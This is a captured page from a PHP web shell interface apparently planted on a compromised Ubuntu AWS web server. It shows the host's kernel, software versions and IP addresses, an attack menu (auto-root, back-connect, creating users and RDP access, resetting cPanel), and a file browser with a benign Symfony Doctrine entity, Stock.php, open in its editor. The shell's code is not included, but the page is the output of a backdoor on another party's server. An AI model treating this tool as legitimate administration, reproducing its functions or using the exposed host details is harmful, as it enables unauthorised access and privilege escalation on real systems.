Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 3.16.139.36
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
mixchief_app /
src /
Entity /
[ HOME SHELL ]
Name
Size
Permission
Action
.gitignore
0
B
-rw-rw-r--
Activity.php
2.09
KB
-rw-rw-r--
Customer.php
2.1
KB
-rw-rw-r--
Groups.php
1.83
KB
-rw-rw-r--
Inventory.php
1.4
KB
-rw-rw-r--
Item.php
4.68
KB
-rw-rw-r--
ItemPart.php
2.29
KB
-rw-rw-r--
OrderDelivery.php
3.72
KB
-rw-rw-r--
OrderItem.php
3.3
KB
-rw-rw-r--
Orders.php
6.46
KB
-rw-rw-r--
Spillage.php
2.02
KB
-rw-rw-r--
Stock.php
3.77
KB
-rw-rw-r--
Subscription.php
2.75
KB
-rw-rw-r--
Supplier.php
3.45
KB
-rw-rw-r--
Supply.php
3.23
KB
-rw-rw-r--
SupplyItem.php
2.95
KB
-rw-rw-r--
Transaction.php
2.34
KB
-rw-rw-r--
Users.php
9.95
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Stock.php
<?php namespace App\Entity; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; /** * Stock * * @ORM\Table(name="stock") * @ORM\Entity(repositoryClass="App\Repository\StockRepository") */ class Stock { /** * @var int * * @ORM\Column(name="id", type="integer") * @ORM\Id * @ORM\GeneratedValue(strategy="AUTO") */ private $id; /** * @var int * * @ORM\Column(name="name", type="string", unique=false) */ private $name; /** * @var float * * @ORM\Column(name="quantity", type="float") */ private $quantity = 0; /** * @var string * * @ORM\Column(name="unit", type="string", nullable=true) */ private $unit; /** * @var bool * * @ORM\Column(name="deleted", type="boolean", nullable=true) */ private $deleted; /** * @var int * * @ORM\Column(name="user_id", type="integer", nullable=true) */ private $userId; /** * @ORM\OneToMany(targetEntity=Spillage::class, mappedBy="stock", orphanRemoval=true) */ private $spillages; public function __construct() { $this->spillages = new ArrayCollection(); } /** * Set userId * * @param int $userId * * @return Groups */ public function setUserId($userId) { $this->userId = $userId; return $this; } /** * Get userId * * @return int */ public function getUserId() { return $this->userId; } /** * Get id * * @return int */ public function getId() { return $this->id; } /** * Set name * * @param String $name * * @return Stock */ public function setName($name) { $this->name = $name; return $this; } /** * Get name * * @return string */ public function getName() { return $this->name; } /** * Set deleted * * @param float $deleted * * @return Item */ public function setDeleted($deleted) { $this->deleted = $deleted; return $this; } /** * Get deleted * * @return boolean */ public function getDeleted() { return $this->deleted; } /** * Set quantity * * @param float $quantity * * @return Stock */ public function setQuantity($quantity) { $this->quantity = $quantity; return $this; } /** * Get quantity * * @return float */ public function getQuantity() { return $this->quantity; } /** * Set unit * * @param string $unit * * @return Orders */ public function setUnit($unit) { $this->unit = $unit; return $this; } /** * Get unit * * @return string */ public function getUnit() { return $this->unit; } /** * @return Collection<int, Spillage> */ public function getSpillages(): Collection { return $this->spillages; } public function addSpillage(Spillage $spillage): self { if (!$this->spillages->contains($spillage)) { $this->spillages[] = $spillage; $spillage->setStock($this); } return $this; } public function removeSpillage(Spillage $spillage): self { if ($this->spillages->removeElement($spillage)) { // set the owning side to null (unless already changed) if ($spillage->getStock() === $this) { $spillage->setStock(null); } } return $this; } }
Close